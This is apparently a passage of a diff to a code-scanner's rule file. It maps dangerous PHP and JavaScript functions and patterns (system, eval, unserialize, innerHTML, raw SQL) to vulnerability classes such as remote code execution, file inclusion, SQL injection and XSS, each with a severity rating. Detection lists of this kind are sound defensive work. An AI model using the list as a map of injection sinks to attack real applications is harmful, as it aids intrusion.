"get_cfg_var(", + "get_current_user(", + "getcwd(", + "getenv(", + "ini_restore(", + "ini_set(", + "passthru(", + "pcntl_exec(", + "php_uname(", + "phpinfo(", + "popen(", + "proc_open(", + "putenv(", + "symlink(", + "syslog(", + "curl_exec(", + "__wakeup(", + "__destruct(", + "__sleep(", + "filter_var(", + "file_put_contents(", + "extractTo(", + "$_POST", + "$_GET", + "$_COOKIES", + "$_REQUEST", + "$_SERVER", + "$_SESSION", + "include($_GET", + "require($_GET", + "include_once($_GET", + "require_once($_GET", + "include($_REQUEST", + "require($_REQUEST", + "include_once($_REQUEST", + "require_once($_REQUEST", + "SELECT.*FROM", + "INSERT.*INTO", + "UPDATE.*", + "DELETE.*FROM" + ] +} + # doc dipslayed: # 1st element - description # 2nd element - syntax # 3rd element - possible vulnerability classes exploitableFunctionsDesc = { - "system()": [ - "Allows to execute system command passed as an argument", - "system ( string $command [, int &$return_var ] ) : string", - "RCE", - "high" - ], - "exec()": [ - "exec - Execute an external program", - "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", - "RCE", - "high" - ], - "call_user_func_array()": [ - "Call a callback with an array of parameters", - "call_user_func_array ( callable $callback , array $param_arr ) : mixed", - "RCE", - "high" - ], - "parse_str()": [ - "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", - "parse_str ( string $encoded_string [, array &$result ] ) : void" - "Code Injection", - "high" - ], - "fopen()": [ - "Opens file or URL", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Local File Include; Remote File Include", - "high" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command", - "popen ( string $command , string $mode ) : resource", - "RCE", - "high" - ], - "pcntl_exec()": [ - "Executes specified program in current process space with the given arguments", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "high" - ], - "eval()": [ - "Evaluate a string as PHP code", - "eval ( string $code ) : mixed", - "RCE", - "high" - ], - "preg_replace()": [ - "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", - "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", - "RCE (in certain conditions)", - "medium" - ], - "create_function()": [ - "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", - "create_function ( string $args , string $code ) : string", - "Code Injection, RCE", - "medium" - ], - "include()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], - "require()": [ - "The include statement includes and evaluates the specified file.", - "", - "Code Injection, RCE", - "high" - ], - "passthru()": [ - "Execute an external program and display raw output", - "passthru ( string $command [, int &$return_var ] ) : void", - "RCE", - "high" - ], - "shell_exec()": [ - "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", - "shell_exec ( string $cmd ) : string", - "RCE", - "high" - ], - "popen()": [ - "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", - "popen ( string $command , string $mode ) : resource", - "Code Injection", - "medium" - ], - "proc_open()": [ - "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", - "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", - "Code Injection", - "medium" - ], - "pcntl_exec()": [ - "Executes the program with the given arguments.", - "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", - "RCE", - "high" - ], - "extract()": [ - "Import variables into the current symbol table from an array", - "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", - "Code Injection", - "medium" - ], - "parse_str()": [ - "Parses encoded_string as if it were the query string passed via a URL and sets variables in the current scope (or in the array if result is provided).", - "parse_str ( string $encoded_string [, array &$result ] ) : void", - "Code Injection", - "medium" - ], - "putenv()": [ - "Sets the value of an environment variable", - "putenv ( string $setting ) : bool", - "Code Injection", - "low" - ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "PHP Interpreter behavior change; application settings overwrite", - "low" - ], - "mail()": [ - "Sends an email.", - "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", - "Arbitrary mail sending", - "low" - ], - "echo": [ - "Outputs all parameters. No additional newline is appended.", - "echo ( string $arg1 [, string $... ] ) : void", - "XSS, HTML Injection, Content Injection etc.", - "low" - ], - "header()": [ - "header() is used to send a raw HTTP header.", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection (?)", - "low" - ], - "unserialize()": [ - "unserialize() takes a single serialized variable and converts it back into a PHP value.", - "unserialize ( string $str [, array $options ] ) : mixed", - "Code Injection, RCE (in certain conditions)", - "high" - ], - "assert()": [ - "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", - "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", - "RCE, Code Injection (in certain conditions)", - "low" - ], - "call_user_func()": [ - "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", - "call_user_func ( callable $callback [, mixed $... ] ) : mixed", - "Code Injection", - "medium" - ], - "ereg_replace()": [ - "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", - "ereg_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low" - ], - "eregi_replace()": [ - "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", - "eregi_replace ( string $pattern , string $replacement , string $string ) : string", - "Code Injection", - "low" - ], - "mb_ereg_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", - "Code Injection", - "low" - ], - "mb_eregi_replace()": [ - "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", - "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", - "Code Injection", - "low" - ], - "virtual()": [ - "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", - "virtual ( string $filename ) : bool", - "Local File Include, Remote File Include", - "low" - ], - "readfile()": [ - "Reads a file and writes it to the output buffer.", - "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", - "Code Injection, LFI, RFI", - "medium" - ], - "file_get_contents()": [ - "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", - "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", - "Code Injection, LFI, RFI", - "medium" - ], - "show_source()": [ - "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low" - ], - "highlight_file()": [ - "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", - "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", - "Information Disclosure", - "low" - ], - "fopen()": [ - "fopen() binds a named resource, specified by filename, to a stream.", - "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", - "Code Injection, LFI, RFI", - "low" - ], - "file()": [ - "Reads an entire file into an array.", - "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", - "Code Injection, LFI, RFI", - "low" - ], - "fpassthru()": [ - "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", - "fpassthru ( resource $handle ) : int", - "Code Injection, LFI, RFI, RCE (depending on the context)", - "low" - ], - "fsockopen()": [ - "Initiates a socket connection to the resource specified by hostname.", - "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", - "RCE (depends on context)", - "low" - ], - "gzopen()": [ - "Opens a gzip (.gz) file for reading or writing.", - "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", - "Code Injection, LFI (depends on context)", - "low" - ], - "gzread()": [ - "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", - "gzread ( resource $zp , int $length ) : string", - "Code Injection, LFI", - "low" - ], - "gzfile()": [ - "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", - "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", - "Code Injection, LFI", - "low" - ], - "gzpassthru()": [ - "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", - "gzpassthru ( resource $zp ) : int", - "Code Injection, LFI", - "low" - ], - "readgzfile()": [ - "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", - "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", - "Code Injection, LFI, RCE", - "medium" - ], - "mssql_query()": [ - "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", - "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", - "SQL Injection", - "high" - ], - "odbc_exec()": [ - "Sends an SQL statement to the database server.", - "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", - "SQL Injection", - "high" - ], - "sqlsrv_query()": [ - "Prepares and executes a query", - "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", - "SQL Injection", - "medium" - ], - "PDO::query()": [ - "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", - "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", - "SQL Injection", - "medium" - ], - "move_uploaded_file()": [ - "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", - "move_uploaded_file ( string $filename , string $destination ) : bool", - "File Include", - "low" - ], - "print()": [ - "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", - "print ( string $arg ) : int", - "XSS, Content/HTML Injection", - "low" - ], - "printf()": [ - "Produces output according to format.", - "printf ( string $format [, mixed $... ] ) : int", - "XSS, Content/HTML Injection", - "low" - ], - "ldap_search()": [ - "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", - "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", - "unknown?", - "low" - ], - "header()": [ - "Send a raw HTTP header", - "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", - "Header Injection, Open Redirect", - "low" - ], - "sqlite_query()": [ - "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", - "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", - "SQL Injection", - "medium" - ], - "pg_query()": [ - "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", - "pg_query ([ resource $connection ], string $query ) : resource", - "SQL Injection", - "medium" - ], - "mysql_query()": [ - "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", - "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", - "SQL Injection", - "high" - ], - "mysqli_query()": [ - "Performs a query against the database.", - "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium" - ], - "mysqli::query()": [ - "Performs a query against the database.", - "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", - "SQL Injection", - "medium" - ], - "apache_setenv()": [ - "Sets the value of the Apache environment variable specified by variable.", - "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", - "ENV server variables overwrite", - "low" - ], - "dl()": [ - "Loads a PHP extension at runtime", - "dl ( string $library ) : bool", - "Code Injection, RCE (in certain conditions)", - "low" - ], - "escapeshellarg()": [ - "Escape a string to be used as a shell argument", - "escapeshellarg ( string $arg ) : string", - "", - "low" - ], - "escapeshellcmd()": [ - "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", - "escapeshellcmd ( string $command ) : string", - "", - "low" - ], - "get_cfg_var()": [ - "Gets the value of a PHP configuration option", - "get_cfg_var ( string $option ) : mixed", - "Information Disclosure", - "low" - ], - "get_current_user()": [ - "Gets the name of the owner of the current PHP script", - "get_current_user ( void ) : string", - "Information Disclosure", - "low" - ], - "getcwd()": [ - "Gets the current working directory", - "getcwd ( void ) : string", - "Information Disclosure", - "low" - ], - "getenv()": [ - " Gets the value of an environment variable", - "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", - "Information Disclosure", - "low" - ], - "ini_set()": [ - "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", - "ini_set ( string $varname , string $newvalue ) : string", - "Configuration Arbitrary Change in runtime", - "low" - ], - "php_uname()": [ - "Returns information about the operating system PHP is running on", - "php_uname ([ string $mode = \"a\" ] ) : string", - "Information Disclosure", - "low" - ], - "phpinfo()": [ - "Outputs information about PHP's configuration", - "phpinfo ([ int $what = INFO_ALL ] ) : bool", - "Information Disclosure", - "medium" - ], - "putenv()": [ - "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", - "putenv ( string $setting ) : bool", - "ENV variable create/owerwrite", - "low" - ], - "symlink()": [ - "Creates a symbolic link to the existing target with the specified name link.", - "symlink ( string $target , string $link ) : bool", - "LFI (in certain conditions)", - "low" - ], - "syslog()": [ - "Generate a system log message", - "syslog ( int $priority , string $message ) : bool", - "Log poisoning", - "low" - ], - "curl_exec()": [ - "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", - "curl_exec ( resource $ch ) : mixed", - "SSRF", - "medium" - ], - "__destruct()":[ - "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", - "__destruct ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" - ], - "__wakeup()":[ - "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", - "__wakeup ( void ) : void", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" - ], - "__sleep()": [ - "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", - "public __sleep ( void ) : array", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" - ], - "__call()": [ - "Triggered when invoking inaccessible methods in an object context", - "public __call ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" - ], - "__callStatic()": [ - "Triggered when invoking inaccessible methods in a static context.", - "public static __callStatic ( string $name , array $arguments ) : mixed", - "Object Injection; RCE via unserialize() + POP gadget chain", - "medium" - ], - "filter_var()":[ - "Filters a variable with a specified filter", - "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", - "Validation bypass (in certain conditions)", - "low" - ], - "file_put_contents()":[ - "Write data to a file", - "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", - "Arbitrary file write", - "medium" - ], - "SELECT.*FROM":[ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium" - ], - "INSERT.*INTO":[ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium" - ], - "UPDATE.*":[ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium" - ], - "DELETE.*FROM":[ - "SQL syntax found.", - "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", - "SQL Injection", - "medium" - ] + "javascript": { + "eval()": [ + "The eval() function evaluates JavaScript code represented as a string and returns its completion value. The source is parsed as a script.", + "eval(script)", + "RCE", + "critical", + "sink" + ], + "document.URL": [ + "The URL of the document", + "document.URL", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.documentURI": [ + "The documentURI property returns the URI of the document", + "document.documentURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.baseURI": [ + "The baseURI property returns the absolute base URI of the document", + "document.baseURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "location": [ + "The location property of the Window interface is a Location object, which represents the location (URL) of the object to which it is applied.", + "location", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.cookie": [ + "The cookie property of the Document interface represents the cookies of the current document.", + "document.cookie", + "XSS, CSRF, Cookie Injection", + "medium", + "source" + ], + "document.referrer": [ + "The referrer property of the Document interface returns the address of the previous document from which the current document was accessed.", + "document.referrer", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.write()": [ + "The write() method of the Document interface writes a string of text to a document stream opened by document.open().", + "document.write(text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "innerHTML": [ + "The innerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element.", + "element.innerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "outerHTML": [ + "The outerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element, including the element itself.", + "element.outerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "insertAdjacentHTML": [ + "The insertAdjacentHTML() method of the Element interface parses the specified text as HTML or XML and inserts the resulting nodes into the DOM tree at a specified position.", + "element.insertAdjacentHTML(position, text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "location.host": [ + "The host property of the Location interface returns the host and port of the URL.", + "location.host", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.href": [ + "The href property of the Location interface gets or sets the entire URL.", + "location.href", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.search": [ + "The search property of the Location interface gets or sets the query string part of the URL.", + "location.search", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "Function()": [ + "The Function() constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but it is not recommended due to security and performance reasons.", + "new Function([arg1[, arg2[, ...argN]],] functionBody)", + "RCE", + "critical", + "sink" + ], + "textContent": [ + "The textContent property of the Node interface represents the text content of the node and its descendants.", + "element.textContent", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "innerText": [ + "The innerText property of the Element interface represents the rendered text content of an element and its descendants.", + "element.innerText", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "URLSearchParams": [ + "The URLSearchParams interface defines utility methods to work with the query string of a URL.", + "URLSearchParams()", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "source" + ], + + }, + "php": { + "`": [ + "Allows to execute system command", + "`$command`", + "RCE", + "critical", + "sink" + ], + "system()": [ + "Allows to execute system command passed as an argument", + "system ( string $command [, int &$return_var ] ) : string", + "RCE", + "critical", + "sink" + ], + "exec()": [ + "exec - Execute an external program", + "exec ( string $command [, array &$output [, int &$return_var ]] ) : string", + "RCE", + "critical", + "sink" + ], + "call_user_func_array()": [ + "Call a callback with an array of parameters", + "call_user_func_array ( callable $callback , array $param_arr ) : mixed", + "RCE", + "high", + "sink" + ], + "parse_url()": [ + "parse_url — Parse a URL and return its components", + "parse_url(string $url, int $component = -1): mixed", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "parse_str()": [ + "when parse_str(arg, [target]) parses URL-like string, it sets variables in current scope WITHOUT initializing it", + "parse_str ( string $encoded_string [, array &$result ] ) : void" + "Code Injection", + "high", + "sink" + ], + "eval()": [ + "Evaluate a string as PHP code", + "eval ( string $code ) : mixed", + "RCE", + "critical", + "sink" + ], + "preg_replace()": [ + "Perform a regular expression search and replace. Searches subject for matches to pattern and replaces them with replacement", + "preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed", + "RCE (in certain conditions)", + "medium" + ], + "create_function()": [ + "DEPRECATED as of PHP 7.2.0 - Create an anonymous (lambda-style) function. Creates an anonymous function from the parameters passed, and returns a unique name for it.", + "create_function ( string $args , string $code ) : string", + "Code Injection, RCE", + "medium", + "sink" + ], + "passthru()": [ + "Execute an external program and display raw output", + "passthru ( string $command [, int &$return_var ] ) : void", + "RCE", + "critical", + "sink" + ], + "shell_exec()": [ + "Execute command via shell and return the complete output as a string. This function is identical to the backtick operator.", + "shell_exec ( string $cmd ) : string", + "RCE", + "critical", + "sink" + ], + "popen()": [ + "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", + "popen ( string $command , string $mode ) : resource", + "Code Injection", + "critical", + "sink" + ], + "proc_open()": [ + "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", + "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", + "Code Injection", + "high", + "sink" + ], + "pcntl_exec()": [ + "Executes the program with the given arguments.", + "pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void", + "RCE", + "critical", + "sink" + ], + "extract()": [ + "Import variables into the current symbol table from an array", + "extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int", + "Code Injection", + "high", + "sink" + ], + "ini_set()": [ + "Sets the value of the given configuration option. The configuration option will keep this new value during the script's execution, and will be restored at the script's ending.", + "ini_set ( string $varname , string $newvalue ) : string", + "PHP Interpreter behavior change; application settings overwrite", + "low" + ], + "mail()": [ + "Sends an email.", + "mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) : bool", + "Arbitrary mail sending", + "low", + "sink" + ], + "echo": [ + "Outputs all parameters. No additional newline is appended.", + "echo ( string $arg1 [, string $... ] ) : void", + "XSS, HTML Injection, Content Injection etc.", + "low" + ], + "unserialize()": [ + "unserialize() takes a single serialized variable and converts it back into a PHP value.", + "unserialize ( string $str [, array $options ] ) : mixed", + "Code Injection, RCE (in certain conditions)", + "high", + "sink" + ], + "assert()": [ + "assert() will check the given assertion and take appropriate action if its result is FALSE. If the assertion is given as a string it will be evaluated as PHP code by assert() - ONLY PNP <7.2.0", + "assert ( mixed $assertion [, string $description ] ) : bool (PHP 5,7) assert ( mixed $assertion [, Throwable $exception ] ) : bool (PHP 7)", + "RCE, Code Injection (in certain conditions)", + "low" + ], + "call_user_func()": [ + "Calls the callback given by the first parameter and passes the remaining parameters as arguments.", + "call_user_func ( callable $callback [, mixed $... ] ) : mixed", + "Code Injection", + "high", + "sink" + ], + "ereg_replace()": [ + "This function scans string for matches to pattern, then replaces the matched text with replacement (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0.)", + "ereg_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "eregi_replace()": [ + "This function is identical to ereg_replace() except that this ignores case distinction when matching alphabetic characters. (DEPRECATED in PHP 5.3.0, and REMOVED in PHP 7.0.0)", + "eregi_replace ( string $pattern , string $replacement , string $string ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_ereg_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = \"msr\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "mb_eregi_replace()": [ + "Scans string for matches to pattern, then replaces the matched text with replacement. Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()).", + "mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = \"msri\" ] ) : string", + "Code Injection", + "low", + "sink" + ], + "virtual()": [ + "Perform an Apache sub-request (calls url passed as an argument). This function is supported when PHP is installed as an Apache module or by the NSAPI server module", + "virtual ( string $filename ) : bool", + "Local File Include, Remote File Include", + "low", + "sink" + ], + "readfile()": [ + "Reads a file and writes it to the output buffer.", + "readfile ( string $filename [, bool $use_include_path = FALSE [, resource $context ]] ) : int", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "file_get_contents()": [ + "This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "show_source()": [ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "highlight_file()": [ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low", + "sink" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low", + "sink" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low", + "sink" + ], + "gzread()": [ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low", + "sink" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low", + "sink" + ], + "gzpassthru()": [ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low", + "sink" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium", + "sink" + ], + "mssql_query()": [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high", + "sink" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "PDO::query()": [ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium", + "sink" + ], + "move_uploaded_file()": [ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low", + "sink" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low", + "sink" + ], + "sqlite_query()": [ + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = 